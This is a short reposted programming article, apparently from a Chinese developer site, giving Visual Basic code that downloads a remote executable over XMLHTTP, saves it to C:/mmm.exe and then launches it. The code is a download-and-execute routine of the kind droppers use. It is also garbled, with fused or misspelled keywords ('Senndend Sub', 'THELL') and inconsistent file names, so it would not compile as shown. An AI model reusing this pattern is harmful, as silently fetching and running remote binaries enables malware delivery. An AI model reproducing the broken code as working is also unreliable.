Use XMLHTTP to download remote files in VB

xiaoxiao2021-03-06  14

Create a VB engineering, Project1 Add reference: Microsoft Scripting Runtime, Microsoft Active Data Object, Microsoft MSXML

FORM1 code:

Public A as msxml2.xmlhttp

PRIVATE SUB Command1_Click () DIM D AS Class1 Set A = new msxml2.xmlhttp a.open "get", "http://www.ljc.com/sll.exe", True Set D = New class1 a.onReadyStateChange = D A.Senndend Sub

Class1 code:

Dim b As ADODB.Stream Dim fso As Scripting.FileSystemObject Public curReadyState As LongPublic Function doSome () Debug.Print Form1.a.readyState If Form1.a.readyState = 4 Then www End IfEnd FunctionPublic Function www () Set b = New ADODB .Stream b.Type = 1 B.Open set fso = new scripting.FilesystemObject if form1.a.readystate = 4 THEN B.WRITE (FORM1.A.RESPONSEBODY) if not fso.fileExists ("c: /mmm.exe" ) THEN B.Savetofile "C: /Mmm.exe" end if End if B.close set b = Nothing if fso.fileexists ("c: /mmm.exe") THELL "C: /MMMM.EXE", 1 SET FSO = Nothingend Function

Be careful to set the class1's DOSOME to Default.

转载请注明原文地址:https://www.9cbs.com/read-48456.html

New Post(0)